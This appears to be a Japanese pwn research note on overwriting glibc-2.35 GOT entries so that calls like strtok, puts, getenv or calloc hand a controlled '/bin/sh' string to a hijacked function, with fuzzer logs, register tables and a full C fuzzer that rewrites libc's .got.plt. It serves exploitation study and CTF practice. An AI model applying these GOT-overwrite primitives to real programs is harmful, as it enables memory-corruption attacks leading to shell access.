Libc-got-overwrite
楽してshellを取りたい.
glibc-2.35でgot-overwriteをしてrdi,rsiが制御できそうな関数をまとめる.
また,後日one-gadgetが刺さりそうな関数についてもまとめたい.
strtok
char buf[] = "/bin/sh";
strtok(buf, "/");
rdiがwritableでなければならない.
[*] testcase 9: strspn                  
[+] Overwrite [0x7db47321a058] 0x7db473198800 -> 0x56452dc3e31e
[*] callBack Executed.
RDI: 0x7fffa38e6b96 HEX: 3168732f6e69622f STR: "/bin/sh1" 
RSI: 0x56452dc3f0bb HEX: 4f475b5b5b5b002f STR: "/" 
[*] testcase 31: strcspn                 
[+] Overwrite [0x7db47321a108] 0x7db4731985a0 -> 0x56452dc3e31e
[*] callBack Executed.
RDI: 0x7fffa38e6ad7 HEX: 3168732f6e6962 STR: "bin/sh1" 
RSI: 0x56452dc3f0bb HEX: 4f475b5b5b5b002f STR: "/" 
| .got | register | 
|---|---|
| strspn | rdi, rsi | 
| strcspn | rdi, rsi | 
puts
puts("/bin/sh");
memmoveは直前のstdoutの内容がrdiに入る. また, printf("/bin/sh") ,及びprintf("%s","/bin/sh");"でも同じ
[*] testcase 6: __mempcpy               
[+] Overwrite [0x7360e081a040] 0x7360e07a0710 -> 0x5c53777902de
[*] callBack Executed.
RDI: 0x5c53b2dbf2a0 HEX: 357830203a494452 STR: "RDI: 0x5c53b2dbf2a0 HEX: 357830203a494452 STR: " 0x5c53777902de
" 
RSI: 0x5c53777910bb HEX: 68732f6e69622f STR: "/bin/sh"
[*] testcase 17: strlen                  
[+] Overwrite [0x7360e081a098] 0x7360e079d7e0 -> 0x5c53777902de
[*] callBack Executed.
RDI: 0x5c53777910bb HEX: 68732f6e69622f STR: "/bin/sh"
| .got | register | 
|---|---|
| memmove | rsi (rdi) | 
| strlen | rdi | 
getenv
getenv("/bin/sh");
rdiに素直に入る.
[*] testcase 17: strlen                  
[+] Overwrite [0x71762261a098] 0x71762259d7e0 -> 0x63a855bb631e
[*] callBack Executed.
RDI: 0x63a855bb70bb HEX: 68732f6e69622f STR: "/bin/sh"
| .got | register | 
|---|---|
| strlen | rdi | 
calloc
calloc(0x50, 1);
0x50以上をアロケートするとmemmoveが呼ばれる. rdiにはbinsのnextが入るのでrdiを完全に操作するにはnextフィールドに対してUAFが必要.
ログではsafe-linkingされたnextの値が入った.
[*] testcase 47: memset                  
[+] Overwrite [0x7a0ac501a188] 0x7a0ac4fa0f00 -> 0x64ee89cd131e
[*] callBack Executed.
RDI: 0x64ee8d169a90 HEX: 64ee8d169 STR: "i��N" 
Fuzz code
#include <assert.h>
#include <setjmp.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char got_list[54][25] = {
    "strnlen                 ",
    "__rawmemchr             ",
    "__libc_realloc          ",
    "strncasecmp             ",
    "_dl_exception_create    ",
    "__mempcpy               ",
    "wmemset                 ",
    "__libc_calloc           ",
    "strspn                  ",
    "memchr                  ",
    "memmove                 ",
    "wmemchr                 ",
    "__stpcpy                ",
    "wmemcmp                 ",
    "_dl_find_dso_for_object ",
    "strncpy                 ",
    "strlen                  ",
    "__strcasecmp_l          ",
    "strcpy                  ",
    "wcschr                  ",
    "strchrnul               ",
    "memrchr                 ",
    "_dl_deallocate_tls      ",
    "__tls_get_addr          ",
    "wmemset                 ",
    "bcmp                    ",
    "__strncasecmp_l         ",
    "_dl_fatal_printf        ",
    "strcat                  ",
    "wcscpy                  ",
    "strcspn                 ",
    "__strcasecmp            ",
    "strncmp                 ",
    "wmemchr                 ",
    "__stpncpy               ",
    "wcscmp                  ",
    "_dl_audit_symbind_alt   ",
    "memmove                 ",
    "rindex                  ",
    "index                   ",
    "wcschr                  ",
    "memcpy                  ",
    "_dl_rtld_di_serinfo     ",
    "_dl_allocate_tls        ",
    "__tunable_get_val       ",
    "wcslen                  ",
    "memset                  ",
    "wcsnlen                 ",
    "strcmp                  ",
    "_dl_allocate_tls_init   ",
    "__nptl_change_stack_perm",
    "strpbrk                 ",
    "_dl_audit_preinit       ",
    "strnlen                 ",
};
unsigned long *got_plt_start;
unsigned long *got_plt_end;
unsigned long globalPtr;
int globalIdx;
static jmp_buf context;
void fuzzer(int arg);
void sigsegvHandler(int sig) {
    puts("[-]SIGSEGV ***INVALID ADDRESS***");
    longjmp(context, 1);
}
void restore(int idx,unsigned long ptr) {
    got_plt_start[idx] = ptr;
}
void tryAccess(void *ptr) {
    if (setjmp(context) == 0) {
        fflush(stdout);
        printf("HEX: %lx ",*(unsigned long *)ptr);
        printf("STR: \"%s\" ",(char *)ptr);
        puts("");
    } else {
        signal(SIGSEGV, sigsegvHandler);
        fuzzer(globalIdx+1);
    }
}
void callBack(void *rdi, void *rsi, void *rdx, void *rcx) {
    restore(globalIdx, globalPtr);
    puts("[*] callBack Executed.");
    printf("RDI: %p ",rdi);
    tryAccess(rdi);
    printf("RSI: %p ",rsi);
    tryAccess(rsi);
    printf("RDX: %p ", rdx);
    tryAccess(rdx);
    printf("RCX: %p ", rcx);
    tryAccess(rcx);
}
unsigned long overWrite(int idx) {
    unsigned long res = got_plt_start[idx];
    printf("[+] Overwrite [0x%lx] 0x%lx -> 0x%lx\n",(unsigned long)&got_plt_start[idx],res,(unsigned long)callBack);
    got_plt_start[idx] = (unsigned long)callBack;
    return res;
}
void fuzzer(int arg) {
    for (int i= arg;i < 54;i++) {
        printf("[*] testcase %d: %s\n",i+1,got_list[i]);
        globalPtr = overWrite(i);
        globalIdx = i;
        
        puts("/bin/sh");
        restore(i, globalPtr);
    }
}
int main(void) {
    signal(SIGSEGV, sigsegvHandler);
    puts("[[[[GOT-FUZZER]]]]");
    got_plt_start = (unsigned long *)((0x7ffff7c00000+0x00000000021a018)-0x7ffff7c80e50+puts);
    got_plt_end = (unsigned long *)((0x7ffff7c00000+0x00000000021a1c0)-0x7ffff7c80e50+puts);
    fuzzer(0);
}
検証した関数
strlen
strcpy
strcat
strcmp
strchr
strstr
strtok
atoi
printf
puts
fopen
memchr
memcmp
memcpy
memmove
memset
getenv
Last modified: 14 April 2025